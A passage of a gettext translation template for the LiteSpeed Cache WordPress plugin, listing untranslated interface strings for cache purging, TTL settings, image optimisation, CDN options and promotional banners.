msgstr ""

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr ""

#: src/gui.cls.php:83
#: tpl/inc/modal.deactivation.php:77
msgid "Cancel"
msgstr ""

#: src/gui.cls.php:470
#: src/gui.cls.php:485
msgid "Purge this page"
msgstr ""

#: src/gui.cls.php:494
msgid "Mark this page as "
msgstr ""

#: src/gui.cls.php:506
msgid "Forced cacheable"
msgstr ""

#: src/gui.cls.php:517
msgid "Non cacheable"
msgstr ""

#: src/gui.cls.php:528
msgid "Private cache"
msgstr ""

#: src/gui.cls.php:539
msgid "No optimization"
msgstr ""

#: src/gui.cls.php:547
msgid "More settings"
msgstr ""

#: src/gui.cls.php:554
#: src/gui.cls.php:562
#: src/gui.cls.php:570
#: src/gui.cls.php:579
#: src/gui.cls.php:589
#: src/gui.cls.php:599
#: src/gui.cls.php:609
#: src/gui.cls.php:619
#: src/gui.cls.php:628
#: src/gui.cls.php:638
#: src/gui.cls.php:648
#: src/gui.cls.php:736
#: src/gui.cls.php:744
#: src/gui.cls.php:752
#: src/gui.cls.php:761
#: src/gui.cls.php:771
#: src/gui.cls.php:781
#: src/gui.cls.php:791
#: src/gui.cls.php:801
#: src/gui.cls.php:810
#: src/gui.cls.php:820
#: src/gui.cls.php:830
#: tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:40
#: tpl/toolbox/purge.tpl.php:47
#: tpl/toolbox/purge.tpl.php:55
#: tpl/toolbox/purge.tpl.php:64
#: tpl/toolbox/purge.tpl.php:73
#: tpl/toolbox/purge.tpl.php:82
#: tpl/toolbox/purge.tpl.php:91
#: tpl/toolbox/purge.tpl.php:100
#: tpl/toolbox/purge.tpl.php:109
#: tpl/toolbox/purge.tpl.php:117
msgid "Purge All"
msgstr ""

#: src/gui.cls.php:562
#: src/gui.cls.php:691
#: src/gui.cls.php:744
msgid "LSCache"
msgstr ""

#: src/gui.cls.php:570
#: src/gui.cls.php:752
#: tpl/toolbox/purge.tpl.php:47
msgid "CSS/JS Cache"
msgstr ""

#: src/gui.cls.php:579
#: src/gui.cls.php:761
#: tpl/cdn/cf.tpl.php:96
#: tpl/cdn/entry.tpl.php:15
msgid "Cloudflare"
msgstr ""

#: src/gui.cls.php:589
#: src/gui.cls.php:771
#: src/lang.cls.php:112
#: tpl/dash/dashboard.tpl.php:60
#: tpl/dash/dashboard.tpl.php:603
#: tpl/toolbox/purge.tpl.php:55
msgid "Object Cache"
msgstr ""

#: src/gui.cls.php:599
#: src/gui.cls.php:781
#: tpl/toolbox/purge.tpl.php:64
msgid "Opcode Cache"
msgstr ""

#: src/gui.cls.php:628
#: src/gui.cls.php:810
#: tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr ""

#: src/gui.cls.php:638
#: src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr ""

#: src/gui.cls.php:648
#: src/gui.cls.php:830
#: src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49
#: tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr ""

#: src/gui.cls.php:681
msgid "Enable All Features"
msgstr ""

#: src/gui.cls.php:691
msgid "LiteSpeed Cache Purge All"
msgstr ""

#: src/gui.cls.php:710
#: tpl/db_optm/entry.tpl.php:13
msgid "Manage"
msgstr ""

#: src/gui.cls.php:849
#: tpl/img_optm/summary.tpl.php:176
msgid "Remove all previous unfinished image optimization requests."
msgstr ""

#: src/gui.cls.php:850
#: tpl/img_optm/summary.tpl.php:178
msgid "Clean Up Unfinished Data"
msgstr ""

#: src/gui.cls.php:868
msgid "Install %s"
msgstr ""

#: src/gui.cls.php:869
msgid "Install Now"
msgstr ""

#: src/gui.cls.php:888
msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."
msgstr ""

#: src/gui.cls.php:890
msgid "View %1$s version %2$s details"
msgstr ""

#: src/gui.cls.php:893
msgid "Update %s now"
msgstr ""

#: src/htaccess.cls.php:325
msgid "Mobile Agent Rules"
msgstr ""

#: src/htaccess.cls.php:784
msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"
msgstr ""

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr ""

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr ""

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr ""

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr ""

#: src/img-optm.cls.php:890
msgid "Started async image optimization request"
msgstr ""

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr ""

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr ""

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr ""

#: src/img-optm.cls.php:1130
msgid "Pulled AVIF image md5 does not match the notified AVIF image md5."
msgstr ""

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr ""

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr ""

#: src/img-optm.cls.php:1374
msgid "Reset image optimization counter successfully."
msgstr ""

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr ""

#: src/img-optm.cls.php:1523
#: src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr ""

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr ""

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr ""

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr ""

#: src/img-optm.cls.php:1892
msgid "Switched images successfully."
msgstr ""

#: src/img-optm.cls.php:1989
#: src/img-optm.cls.php:2049
msgid "Switched to optimized file successfully."
msgstr ""

#: src/img-optm.cls.php:2008
msgid "Disabled WebP file successfully."
msgstr ""

#: src/img-optm.cls.php:2013
msgid "Enabled WebP file successfully."
msgstr ""

#: src/img-optm.cls.php:2022
msgid "Disabled AVIF file successfully."
msgstr ""

#: src/img-optm.cls.php:2027
msgid "Enabled AVIF file successfully."
msgstr ""

#: src/img-optm.cls.php:2043
msgid "Restored original file successfully."
msgstr ""

#: src/img-optm.cls.php:2099
msgid "Reset the optimized data successfully."
msgstr ""

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr ""

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr ""

#: src/import.cls.php:156
msgid "Reset successfully."
msgstr ""

#: src/lang.cls.php:24
msgid "Images not requested"
msgstr ""

#: src/lang.cls.php:25
msgid "Images ready to request"
msgstr ""

#: src/lang.cls.php:26
#: tpl/dash/dashboard.tpl.php:551
msgid "Images requested"
msgstr ""

#: src/lang.cls.php:27
#: tpl/dash/dashboard.tpl.php:560
msgid "Images notified to pull"
msgstr ""

#: src/lang.cls.php:28
msgid "Images optimized and pulled"
msgstr ""

#: src/lang.cls.php:46
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict."
msgstr ""

#: src/lang.cls.php:51
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain."
msgstr ""

#: src/lang.cls.php:53
msgid "Alias is in use by another QUIC.cloud account."
msgstr ""

#: src/lang.cls.php:86
msgid "Guest Mode User Agents"
msgstr ""

#: src/lang.cls.php:87
msgid "Guest Mode IPs"
msgstr ""

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr ""

#: src/lang.cls.php:90
#: tpl/dash/dashboard.tpl.php:61
#: tpl/dash/dashboard.tpl.php:604
#: tpl/presets/standard.tpl.php:21
msgid "Browser Cache"
msgstr ""

#: src/lang.cls.php:91
msgid "Default Public Cache TTL"
msgstr ""

#: src/lang.cls.php:92
msgid "Default Private Cache TTL"
msgstr ""

#: src/lang.cls.php:93
msgid "Default Front Page TTL"
msgstr ""

#: src/lang.cls.php:94
msgid "Default Feed TTL"
msgstr ""

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr ""

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr ""

#: src/lang.cls.php:97
msgid "Browser Cache TTL"
msgstr ""

#: src/lang.cls.php:98
msgid "AJAX Cache TTL"
msgstr ""

#: src/lang.cls.php:99
msgid "Automatically Upgrade"
msgstr ""

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr ""

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr ""

#: src/lang.cls.php:102
msgid "Notifications"
msgstr ""

#: src/lang.cls.php:103
msgid "Cache Logged-in Users"
msgstr ""

#: src/lang.cls.php:104
msgid "Cache Commenters"
msgstr ""

#: src/lang.cls.php:105
msgid "Cache REST API"
msgstr ""

#: src/lang.cls.php:106
msgid "Cache Login Page"
msgstr ""

#: src/lang.cls.php:107
#: tpl/cache/settings_inc.cache_mobile.tpl.php:90
msgid "Cache Mobile"
msgstr ""

#: src/lang.cls.php:108
#: tpl/cache/settings_inc.cache_mobile.tpl.php:92
msgid "List of Mobile User Agents"
msgstr ""

#: src/lang.cls.php:109
msgid "Private Cached URIs"
msgstr ""

#: src/lang.cls.php:110
msgid "Drop Query String"
msgstr ""

#: src/lang.cls.php:113
msgid "Method"
msgstr ""

#: src/lang.cls.php:114
msgid "Host"
msgstr ""

#: src/lang.cls.php:115
msgid "Port"
msgstr ""

#: src/lang.cls.php:116
msgid "Default Object Lifetime"
msgstr ""

#: src/lang.cls.php:117
msgid "Username"
msgstr ""

#: src/lang.cls.php:118
msgid "Password"
msgstr ""

#: src/lang.cls.php:119
msgid "Redis Database ID"
msgstr ""

#: src/lang.cls.php:120
msgid "Global Groups"
msgstr ""

#: src/lang.cls.php:121
msgid "Do Not Cache Groups"
msgstr ""

#: src/lang.cls.php:122
msgid "Persistent Connection"
msgstr ""

#: src/lang.cls.php:123
msgid "Cache WP-Admin"
msgstr ""

#: src/lang.cls.php:124
msgid "Store Transients"
msgstr ""

#: src/lang.cls.php:126
msgid "Purge All On Upgrade"
msgstr ""

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr ""

#: src/lang.cls.php:128
#: tpl/cache/settings-purge.tpl.php:131
msgid "Scheduled Purge URLs"
msgstr ""

#: src/lang.cls.php:129
#: tpl/cache/settings-purge.tpl.php:106
msgid "Scheduled Purge Time"
msgstr ""

#: src/lang.cls.php:130
msgid "Force Cache URIs"
msgstr ""

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr ""

#: src/lang.cls.php:132
msgid "Do Not Cache URIs"
msgstr ""

#: src/lang.cls.php:133
msgid "Do Not Cache Query Strings"
msgstr ""

#: src/lang.cls.php:134
msgid "Do Not Cache Categories"
msgstr ""

#: src/lang.cls.php:135
msgid "Do Not Cache Tags"
msgstr ""

#: src/lang.cls.php:136
msgid "Do Not Cache Roles"
msgstr ""

#: src/lang.cls.php:137
msgid "CSS Minify"
msgstr ""

#: src/lang.cls.php:138
msgid "CSS Combine"
msgstr ""

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr ""

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr ""

#: src/lang.cls.php:141
msgid "UCSS Inline"
msgstr ""

#: src/lang.cls.php:142
msgid "UCSS Selector Allowlist"
msgstr ""

#: src/lang.cls.php:143
msgid "UCSS Inline Excluded Files"
msgstr ""

#: src/lang.cls.php:144
msgid "UCSS URI Excludes"
msgstr ""

#: src/lang.cls.php:145
msgid "JS Minify"
msgstr ""

#: src/lang.cls.php:146
msgid "JS Combine"
msgstr ""

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr ""

#: src/lang.cls.php:148
msgid "HTML Minify"
msgstr ""

#: src/lang.cls.php:149
msgid "HTML Lazy Load Selectors"
msgstr ""

#: src/lang.cls.php:150
msgid "HTML Keep Comments"
msgstr ""

#: src/lang.cls.php:151
#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Load CSS Asynchronously"
msgstr ""

#: src/lang.cls.php:152
msgid "CCSS Per URL"
msgstr ""

#: src/lang.cls.php:153
msgid "Inline CSS Async Lib"
msgstr ""

#: src/lang.cls.php:154
#: tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr ""

#: src/lang.cls.php:155
msgid "Load JS Deferred"
msgstr ""

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr ""

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr ""

#: src/lang.cls.php:158
msgid "DNS Prefetch"
msgstr ""

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr ""

#: src/lang.cls.php:160
msgid "DNS Preconnect"
msgstr ""

#: src/lang.cls.php:161
msgid "CSS Excludes"
msgstr ""

#: src/lang.cls.php:162
msgid "JS Delayed Includes"
msgstr ""

#: src/lang.cls.php:163
msgid "JS Excludes"
msgstr ""

#: src/lang.cls.php:164
msgid "Remove Query Strings"
msgstr ""

#: src/lang.cls.php:165
msgid "Load Google Fonts Asynchronously"
msgstr ""

#: src/lang.cls.php:166
msgid "Remove Google Fonts"
msgstr ""

#: src/lang.cls.php:167
msgid "Critical CSS Rules"
msgstr ""

#: src/lang.cls.php:168
msgid "Separate CCSS Cache Post Types"
msgstr ""

#: src/lang.cls.php:169
msgid "Separate CCSS Cache URIs"
msgstr ""

#: src/lang.cls.php:170
msgid "CCSS Selector Allowlist"
msgstr ""

#: src/lang.cls.php:171
msgid "JS Deferred / Delayed Excludes"
msgstr ""

#: src/lang.cls.php:172
msgid "Guest Mode JS Excludes"
msgstr ""

#: src/lang.cls.php:173
#: tpl/presets/standard.tpl.php:51
msgid "Remove WordPress Emoji"
msgstr ""

#: src/lang.cls.php:174
#: tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr ""

#: src/lang.cls.php:175
msgid "URI Excludes"
msgstr ""

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr ""

#: src/lang.cls.php:177
msgid "Role Excludes"
msgstr ""

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr ""

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr ""

#: src/lang.cls.php:183
msgid "Lazy Load Images"
msgstr ""

#: src/lang.cls.php:184
msgid "Lazy Load Image Excludes"
msgstr ""

#: src/lang.cls.php:185
msgid "Lazy Load Image Class Name Excludes"
msgstr ""

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr ""

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr ""

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr ""

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr ""

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr ""

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr ""

#: src/lang.cls.php:192
msgid "Responsive Placeholder"
msgstr ""

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr ""

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr ""

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr ""

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr ""

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr ""

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr ""

#: src/lang.cls.php:200
msgid "Lazy Load Iframes"
msgstr ""

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr ""

#: src/lang.cls.php:202
#: src/metabox.cls.php:32
#: src/metabox.cls.php:33
#: tpl/page_optm/settings_vpi.tpl.php:23
msgid "Viewport Images"
msgstr ""

#: src/lang.cls.php:203
msgid "Viewport Images Cron"
msgstr ""

#: src/lang.cls.php:204
msgid "Auto Rescale Original Images"
msgstr ""

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr ""

#: src/lang.cls.php:207
msgid "Optimize Original Images"
msgstr ""

#: src/lang.cls.php:208
msgid "Remove Original Backups"
msgstr ""

#: src/lang.cls.php:209
msgid "Next-Gen Image Format"
msgstr ""

#: src/lang.cls.php:210
msgid "Optimize Losslessly"
msgstr ""

#: src/lang.cls.php:211
msgid "Optimize Image Sizes"
msgstr ""

#: src/lang.cls.php:212
msgid "Preserve EXIF/XMP data"
msgstr ""

#: src/lang.cls.php:213
msgid "WebP/AVIF Attribute To Replace"
msgstr ""

#: src/lang.cls.php:214
msgid "WebP/AVIF For Extra srcset"
msgstr ""

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr ""

#: src/lang.cls.php:216
#: tpl/esi_widget_edit.php:43
msgid "Enable ESI"
msgstr ""

#: src/lang.cls.php:217
msgid "Cache Admin Bar"
msgstr ""

#: src/lang.cls.php:218
msgid "Cache Comment Form"
msgstr ""

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr ""

#: src/lang.cls.php:220
#: tpl/page_optm/settings_css.tpl.php:140
#: tpl/page_optm/settings_css.tpl.php:277
#: tpl/page_optm/settings_vpi.tpl.php:88
msgid "Vary Group"
msgstr ""

#: src/lang.cls.php:221
msgid "Purge All Hooks"
msgstr ""

#: src/lang.cls.php:222
msgid "Improve HTTP/HTTPS Compatibility"
msgstr ""

#: src/lang.cls.php:223
msgid "Instant Click"
msgstr ""

#: src/lang.cls.php:224
msgid "Do Not Cache Cookies"
msgstr ""

#: src/lang.cls.php:225
msgid "Do Not Cache User Agents"
msgstr ""

#: src/lang.cls.php:226
msgid "Login Cookie"
msgstr ""

#: src/lang.cls.php:227
msgid "Vary Cookies"
msgstr ""

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr ""

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr ""

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr ""

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr ""

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr ""

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr ""

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr ""

#: src/lang.cls.php:237
msgid "CDN URL"
msgstr ""

#: src/lang.cls.php:238
msgid "Include Images"
msgstr ""

#: src/lang.cls.php:239
msgid "Include CSS"
msgstr ""

#: src/lang.cls.php:240
msgid "Include JS"
msgstr ""

#: src/lang.cls.php:241
#: tpl/cdn/other.tpl.php:113
msgid "Include File Types"
msgstr ""

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr ""

#: src/lang.cls.php:243
msgid "Original URLs"
msgstr ""

#: src/lang.cls.php:244
msgid "Included Directories"
msgstr ""

#: src/lang.cls.php:245
msgid "Exclude Path"
msgstr ""

#: src/lang.cls.php:246
msgid "Cloudflare API"
msgstr ""

#: src/lang.cls.php:247
msgid "Clear Cloudflare cache"
msgstr ""

#: src/lang.cls.php:250
msgid "Crawl Interval"
msgstr ""

#: src/lang.cls.php:251
msgid "Server Load Limit"
msgstr ""

#: src/lang.cls.php:252
msgid "Role Simulation"
msgstr ""

#: src/lang.cls.php:253
msgid "Cookie Simulation"
msgstr ""

#: src/lang.cls.php:254
msgid "Custom Sitemap"
msgstr ""

#: src/lang.cls.php:256
msgid "Disable All Features"
msgstr ""

#: src/lang.cls.php:257
#: tpl/toolbox/log_viewer.tpl.php:18
msgid "Debug Log"
msgstr ""

#: src/lang.cls.php:258
msgid "Admin IPs"
msgstr ""

#: src/lang.cls.php:259
msgid "Debug Level"
msgstr ""

#: src/lang.cls.php:260
msgid "Log File Size Limit"
msgstr ""

#: src/lang.cls.php:261
msgid "Collapse Query Strings"
msgstr ""

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr ""

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr ""

#: src/lang.cls.php:264
msgid "Debug String Excludes"
msgstr ""

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr ""

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr ""

#: src/media.cls.php:304
msgid "LiteSpeed Optimization"
msgstr ""

#: src/media.cls.php:353
#: src/media.cls.php:376
#: src/media.cls.php:402
#: src/media.cls.php:435
msgid "(optm)"
msgstr ""

#: src/media.cls.php:354
msgid "Currently using optimized version of file."
msgstr ""

#: src/media.cls.php:354
#: src/media.cls.php:406
msgid "Click to switch to original (unoptimized) version."
msgstr ""

#: src/media.cls.php:357
#: src/media.cls.php:409
msgid "(non-optm)"
msgstr ""

#: src/media.cls.php:358
msgid "Currently using original (unoptimized) version of file."
msgstr ""

#: src/media.cls.php:358
#: src/media.cls.php:413
msgid "Click to switch to optimized version."
msgstr ""

#: src/media.cls.php:364
msgid "Original file reduced by %1$s (%2$s)"
msgstr ""

#: src/media.cls.php:368
msgid "Orig saved %s"
msgstr ""

#: src/media.cls.php:375
#: src/media.cls.php:433
msgid "Using optimized version of file. "
msgstr ""

#: src/media.cls.php:375
msgid "No backup of original file exists."
msgstr ""

#: src/media.cls.php:380
msgid "Congratulation! Your file was already optimized"
msgstr ""

#: src/media.cls.php:381
msgid "Orig %s"
msgstr ""

#: src/media.cls.php:381
msgid "(no savings)"
msgstr ""

#: src/media.cls.php:383
msgid "Orig"
msgstr ""

#: src/media.cls.php:404
msgid "Currently using optimized version of AVIF file."
msgstr ""

#: src/media.cls.php:405
msgid "Currently using optimized version of WebP file."
msgstr ""

#: src/media.cls.php:411
msgid "Currently using original (unoptimized) version of AVIF file."
msgstr ""

#: src/media.cls.php:412
msgid "Currently using original (unoptimized) version of WebP file."
msgstr ""

#: src/media.cls.php:420
msgid "AVIF file reduced by %1$s (%2$s)"
msgstr ""

#: src/media.cls.php:420
msgid "WebP file reduced by %1$s (%2$s)"
msgstr ""

#: src/media.cls.php:426
msgid "AVIF saved %s"
msgstr ""

#: src/media.cls.php:426
msgid "WebP saved %s"
msgstr ""

#: src/media.cls.php:434
msgid "No backup of unoptimized AVIF file exists."
msgstr ""

#: src/media.cls.php:434
msgid "No backup of unoptimized WebP file exists."
msgstr ""

#: src/media.cls.php:449
msgid "Restore from backup"
msgstr ""

#: src/metabox.cls.php:29
msgid "Disable Cache"
msgstr ""

#: src/metabox.cls.php:30
msgid "Disable Image Lazyload"
msgstr ""

#: src/metabox.cls.php:31
msgid "Disable VPI"
msgstr ""

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr ""

#: src/object-cache.cls.php:714
msgid "Redis encountered a fatal error: %1$s (code: %2$d)"
msgstr ""

#: src/placeholder.cls.php:83
msgid "LQIP"
msgstr ""

#: src/placeholder.cls.php:140
msgid "LQIP image preview for size %s"
msgstr ""

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr ""

#: src/purge.cls.php:235
msgid "Notified LiteSpeed Web Server to purge all LSCache entries."
msgstr ""

#: src/purge.cls.php:254
msgid "Cleaned all Critical CSS files."
msgstr ""

#: src/purge.cls.php:273
msgid "Cleaned all Unique CSS files."
msgstr ""

#: src/purge.cls.php:311
msgid "Cleaned all LQIP files."
msgstr ""

#: src/purge.cls.php:328
msgid "Cleaned all Gravatar files."
msgstr ""

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr ""

#: src/purge.cls.php:379
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr ""

#: src/purge.cls.php:396
msgid "OPcache is not enabled."
msgstr ""

#: src/purge.cls.php:407
msgid "OPcache is restricted by %s setting."
msgstr ""

#: src/purge.cls.php:419
msgid "Reset the OPcache failed."
msgstr ""

#: src/purge.cls.php:432
msgid "Reset the entire OPcache successfully."
msgstr ""

#: src/purge.cls.php:460
msgid "Object cache is not enabled."
msgstr ""

#: src/purge.cls.php:473
msgid "Purge all object caches successfully."
msgstr ""

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr ""

#: src/purge.cls.php:698
msgid "Notified LiteSpeed Web Server to purge all pages."
msgstr ""

#: src/purge.cls.php:718
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr ""

#: src/purge.cls.php:745
msgid "Purge category %s"
msgstr ""

#: src/purge.cls.php:774
msgid "Purge tag %s"
msgstr ""

#: src/purge.cls.php:808
msgid "Purge url %s"
msgstr ""

#: src/root.cls.php:198
msgid "All QUIC.cloud service queues have been cleared."
msgstr ""

#: src/task.cls.php:214
msgid "Every Minute"
msgstr ""

#: src/task.cls.php:233
msgid "LiteSpeed Crawler Cron"
msgstr ""

#: src/tool.cls.php:44
#: src/tool.cls.php:55
msgid "Failed to detect IP"
msgstr ""

#: src/utility.cls.php:228
msgid "right now"
msgstr ""

#: src/utility.cls.php:228
msgid "just now"
msgstr ""

#: src/utility.cls.php:231
msgid " %s ago"
msgstr ""

#: thirdparty/litespeed-check.cls.php:75
#: thirdparty/litespeed-check.cls.php:123
msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:"
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:23
#: tpl/cache/settings-advanced.tpl.php:21
#: tpl/cache/settings_inc.browser.tpl.php:23
#: tpl/toolbox/beta_test.tpl.php:40
#: tpl/toolbox/heartbeat.tpl.php:24
#: tpl/toolbox/report.tpl.php:46
msgid "NOTICE:"
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:24
msgid "After verifying that the cache works in general, please test the cart."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:25
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:26
msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:34
msgid "Product Update Interval"
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge product on changes to the quantity or stock status."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge categories only when stock status changes."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:40
msgid "Purge product and categories only when the stock status changes."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Purge product only when the stock status changes."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Do not purge categories on changes to the quantity or stock status."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:42
msgid "Always purge both product and categories on changes to the quantity or stock status."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:55
msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:63
msgid "Vary for Mini Cart"
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:71
msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty."
msgstr ""

#: thirdparty/woocommerce.content.tpl.php:72
msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents."
msgstr ""

#: tpl/banner/cloud_news.tpl.php:30
#: tpl/banner/cloud_news.tpl.php:41
msgid "Install"
msgstr ""

#: tpl/banner/cloud_news.tpl.php:51
#: tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:26
msgid "Spread the love and earn %s credits to use in our QUIC.cloud online services."
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:35
msgid "Send to twitter to get %s bonus"
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr ""

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr ""

#: tpl/banner/new_version.php:58
msgid "New Version Available!"
msgstr ""

#: tpl/banner/new_version.php:66
msgid "New release %s is available now."
msgstr ""

#: tpl/banner/new_version.php:77
#: tpl/banner/new_version_dev.tpl.php:41
#: tpl/toolbox/beta_test.tpl.php:86
msgid "Upgrade"
msgstr ""

#: tpl/banner/new_version.php:87
msgid "Turn On Auto Upgrade"
msgstr ""

#: tpl/banner/new_version.php:93
msgid "Maybe Later"
msgstr ""

#: tpl/banner/new_version.php:113
#: tpl/banner/score.php:141
#: tpl/banner/slack.php:48
msgid "Dismiss this notice."
msgstr ""

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr ""

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr ""

#: tpl/banner/score.php:36
msgid "Thank You for Using the LiteSpeed Cache Plugin!"
msgstr ""

#: tpl/banner/score.php:40
#: tpl/dash/dashboard.tpl.php:374
msgid "Page Load Time"
msgstr ""

#: tpl/banner/score.php:45
#: tpl/banner/score.php:79
#: tpl/dash/dashboard.tpl.php:394
#: tpl/dash/dashboard.tpl.php:470
msgid "Before"
msgstr ""

#: tpl/banner/score.php:53
#: tpl/banner/score.php:87
#: tpl/dash/dashboard.tpl.php:402
#: tpl/dash/dashboard.tpl.php:478
msgid "After"
msgstr ""

#: tpl/banner/score.php:62
#: tpl/banner/score.php:96
#: tpl/dash/dashboard.tpl.php:410
#: tpl/dash/dashboard.tpl.php:486
msgid "Improved by"
msgstr ""

#: tpl/banner/score.php:74
#: tpl/dash/dashboard.tpl.php:455
msgid "PageSpeed Score"
msgstr ""

#: tpl/banner/score.php:112
msgid "Sure I'd love to review!"
